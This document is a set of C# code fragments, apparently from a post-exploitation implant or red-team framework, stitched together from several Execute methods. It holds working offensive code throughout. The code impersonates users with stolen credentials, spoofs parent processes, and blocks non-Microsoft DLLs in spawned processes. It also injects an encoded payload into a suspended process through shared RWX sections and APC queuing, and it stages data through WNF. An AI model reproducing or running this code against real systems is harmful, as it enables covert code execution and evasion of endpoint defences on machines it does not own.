public static void Execute(string[] args)
{
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
{
if (File.Exists(filesrc))
{
ReadFile(filesrc);
}
}
else
{
try
{
//Login
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDuplicate = IntPtr.Zero;
if (Natives.LogonUser(username, domain, password, Natives.LOGON32_LOGON_NEW_CREDENTIALS, Natives.LOGON32_PROVIDER_DEFAULT, ref hToken))
{
Natives.SECURITY_ATTRIBUTES secAttribs = new Natives.SECURITY_ATTRIBUTES();
if (Natives.DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hTokenDuplicate))
{
if (!Natives.ImpersonateLoggedOnUser(hTokenDuplicate))
{
return;
}
try
{
if (File.Exists(filesrc))
{
ReadFile(filesrc);
}
}
catch (Exception)
{
}
Natives.RevertToSelf();
}
}
if (hToken != IntPtr.Zero)
{
Natives.CloseHandle(hToken);
}
if (hTokenDuplicate != IntPtr.Zero)
{
Natives.CloseHandle(hTokenDuplicate);
}
}
catch (Exception)
{
return;
}
}
}
public static bool CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe)
{
var lpPipeAttributes = new Natives.SECURITY_ATTRIBUTES
{
nLength = Marshal.SizeOf(typeof(Natives.SECURITY_ATTRIBUTES)),
bInheritHandle = true,
lpSecurityDescriptor = IntPtr.Zero
};
if (!Natives.CreatePipe(out hReadPipe, out hWritePipe, ref lpPipeAttributes, 4089))
{
return(false);
}
return(true);
}
public static bool CreateProcessPCMPBNMBSAO(IntPtr hReadPipe, IntPtr hWritePipe, string processname, bool inheritHandler, ref Natives.PROCESS_INFORMATION procInfo)
{
Natives.SetHandleInformation(hReadPipe, Natives.HANDLE_FLAGS.INHERIT, 0);
Natives.STARTUPINFOEX sInfoEx = new Natives.STARTUPINFOEX();
sInfoEx.StartupInfo.hStdOutput = hWritePipe;
sInfoEx.StartupInfo.hStdErr = hWritePipe;
sInfoEx.StartupInfo.dwFlags = Natives.STARTF_USESTDHANDLES;
IntPtr lpValue = IntPtr.Zero;
Natives.SECURITY_ATTRIBUTES pSec = new Natives.SECURITY_ATTRIBUTES();
Natives.SECURITY_ATTRIBUTES tSec = new Natives.SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
IntPtr pntpSec = Marshal.AllocHGlobal(Marshal.SizeOf(pSec));
Marshal.StructureToPtr(pSec, pntpSec, false);
IntPtr pnttSec = Marshal.AllocHGlobal(Marshal.SizeOf(tSec));
Marshal.StructureToPtr(tSec, pnttSec, false);
IntPtr lpSize = IntPtr.Zero;
Natives.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
Natives.InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
Natives.DWORD64 policy = new Natives.DWORD64();
policy.dwPart1 = 0;
policy.dwPart2 = 0x1000;
lpValue = Marshal.AllocHGlobal(Marshal.SizeOf(policy));
Marshal.StructureToPtr(policy, lpValue, false);
Natives.UpdateProcThreadAttribute(sInfoEx.lpAttributeList, 0, (IntPtr)Natives.PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, lpValue, (IntPtr)Marshal.SizeOf(policy), IntPtr.Zero, IntPtr.Zero);
sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx);
if (!Natives.CreateProcess(IntPtr.Zero, processname, IntPtr.Zero, IntPtr.Zero, inheritHandler, Natives.CreateSuspended | (uint)Natives.CreationFlags.EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, IntPtr.Zero, ref sInfoEx, out procInfo))
{
return(false);
}
return(true);
}
public static bool CreateProcess(string processname, int ppid, Natives.CreationFlags cf, ref Natives.PROCESS_INFORMATION procInfo)
{
Natives.STARTUPINFOEX sInfoEx = new Natives.STARTUPINFOEX();
sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx);
IntPtr lpValue = IntPtr.Zero;
Natives.SECURITY_ATTRIBUTES pSec = new Natives.SECURITY_ATTRIBUTES();
Natives.SECURITY_ATTRIBUTES tSec = new Natives.SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
IntPtr pntpSec = Marshal.AllocHGlobal(Marshal.SizeOf(pSec));
Marshal.StructureToPtr(pSec, pntpSec, false);
IntPtr pnttSec = Marshal.AllocHGlobal(Marshal.SizeOf(tSec));
Marshal.StructureToPtr(tSec, pnttSec, false);
IntPtr lpSize = IntPtr.Zero;
Natives.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
Natives.InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize);
IntPtr parentHandle = Process.GetProcessById(ppid).Handle;
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, parentHandle);
Natives.UpdateProcThreadAttribute(sInfoEx.lpAttributeList, 0, (IntPtr)Natives.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
if (!Natives.CreateProcess(IntPtr.Zero, processname, pntpSec, pnttSec, false, (uint)cf, IntPtr.Zero, IntPtr.Zero, ref sInfoEx, out procInfo))
{
return(false);
}
return(true);
}
static void Execute(string [] args)
{
var startInfo = new Natives.STARTUPINFO();
Natives.PROCESS_INFORMATION procInfo = new Natives.PROCESS_INFORMATION();
Natives.LARGE_INTEGER largeinteger = new Natives.LARGE_INTEGER();
Natives.SYSTEM_INFO info = new Natives.SYSTEM_INFO();
startInfo.cb = (uint)Marshal.SizeOf(startInfo);
Natives.SECURITY_ATTRIBUTES pSec = new Natives.SECURITY_ATTRIBUTES();
Natives.SECURITY_ATTRIBUTES tSec = new Natives.SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
IntPtr section = IntPtr.Zero;
uint size = 0;
IntPtr baseAddr = IntPtr.Zero;
IntPtr viewSize = (IntPtr)size;
IntPtr soffset = IntPtr.Zero;
IntPtr baseAddrEx = IntPtr.Zero;
IntPtr viewSizeEx = (IntPtr)size;
IntPtr hToken = IntPtr.Zero;
IntPtr hProcTest = IntPtr.Zero;
IntPtr hTokenTest = IntPtr.Zero;
uint flags = Natives.CreateSuspended | Natives.CreateNoWindow;
try
{
if (Natives.CreateProcessWithLogonW("#USERNAME#", "#DOMAIN#", "#PASSWORD#", Natives.LogonFlags.NetCredentialsOnly, @"C:\Windows\System32\#SPAWN#", "", flags, (UInt32)0, "C:\\Windows\\System32", ref startInfo, out procInfo))
{
byte[] payload = DecompressDLL(Convert.FromBase64String(nutclr));
//Round payload size to page size
Natives.GetSystemInfo(ref info);
size = info.dwPageSize - (uint)payload.Length % info.dwPageSize + (uint)payload.Length;
largeinteger.LowPart = size;
//Crteate section in current process
var status = Natives.ZwCreateSection(ref section, Natives.GenericAll, IntPtr.Zero, ref largeinteger, Natives.PAGE_EXECUTE_READWRITE, Natives.SecCommit, IntPtr.Zero);
//Map section to current process
status = Natives.ZwMapViewOfSection(section, Natives.GetCurrentProcess(), ref baseAddr, IntPtr.Zero, IntPtr.Zero, soffset, ref viewSize, 1, 0, Natives.PAGE_EXECUTE_READWRITE);
if (baseAddr != IntPtr.Zero)
{
//Copy payload to current process section
Marshal.Copy(payload, 0, baseAddr, payload.Length);
//Map remote section
status = Natives.ZwMapViewOfSection(section, procInfo.hProcess, ref baseAddrEx, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref viewSizeEx, 1, 0, Natives.PAGE_EXECUTE_READWRITE);
if (baseAddrEx != IntPtr.Zero && viewSizeEx != IntPtr.Zero)
{
//Unmap current process section
Natives.ZwUnmapViewOfSection(Natives.GetCurrentProcess(), baseAddr);
// Assign address of shellcode to the target thread apc queue
IntPtr th = procInfo.hThread;
IntPtr ptrq = Natives.ZwQueueApcThread(th, baseAddrEx, IntPtr.Zero);
Natives.ZwSetInformationThread(th, 1, IntPtr.Zero, 0);
//Before resuming the thread we write the stager on wnf
//so it can be read from the spawned process from other session
WriteWnF(task);
int rest = Natives.ZwResumeThread(th, out ulong outsupn);
}
else
{
Console.WriteLine("[x] Error mapping remote section");
File.WriteAllText(@"c:\temp\log.txt", "[x] Error mapping remote section");
}
}
else
{
Console.WriteLine("[x] Error mapping section to current process");
File.WriteAllText(@"c:\temp\log.txt", "[x] Error mapping section to current process");
}
Natives.CloseHandle(procInfo.hThread);
Natives.CloseHandle(procInfo.hProcess);
Natives.CloseHandle(hProcTest);
Natives.CloseHandle(hTokenTest);
}
else
{
Console.WriteLine("[x] Error creating process");
File.WriteAllText(@"c:\temp\log.txt", "[x] Error creating process " + Natives.GetLastError());
}
Natives.CloseHandle(hProcTest);
Natives.CloseHandle(hTokenTest);
}
catch (Exception e)
{
Console.WriteLine("[x] Generic error");
File.WriteAllText(@"c:\temp\log.txt", "[x] Generic error " + e.Message + " " + e.StackTrace);
}
}
public static void Execute(string[] args)
{
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
{
CopyFile();
}
else
{
try
{
//Login
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDuplicate = IntPtr.Zero;
if (Natives.LogonUser(username, domain, password, Natives.LOGON32_LOGON_NEW_CREDENTIALS, Natives.LOGON32_PROVIDER_DEFAULT, ref hToken))
{
Console.WriteLine("[*] Login successfully");
Natives.SECURITY_ATTRIBUTES secAttribs = new Natives.SECURITY_ATTRIBUTES();
if (Natives.DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hTokenDuplicate))
{
if (!Natives.ImpersonateLoggedOnUser(hTokenDuplicate))
{
throw new SystemException("[x] Failed to impersonate context");
}
try
{
CopyFile();
}
catch (Exception e)
{
Console.WriteLine("[x] Something went wrong!!" + e.Message);
Console.WriteLine("[x] " + e.StackTrace);
}
Natives.RevertToSelf();
}
else
{
Console.WriteLine("[x] Faliled duplicate Token");
}
}
else
{
Console.WriteLine("[x] Logon Faliled {0} - {1} - {2}", username, domain, password);
}
if (hToken != IntPtr.Zero)
{
Natives.CloseHandle(hToken);
}
if (hTokenDuplicate != IntPtr.Zero)
{
Natives.CloseHandle(hTokenDuplicate);
}
}
catch (Exception)
{
Console.WriteLine("[x] Error writing file");
return;
}
}
}
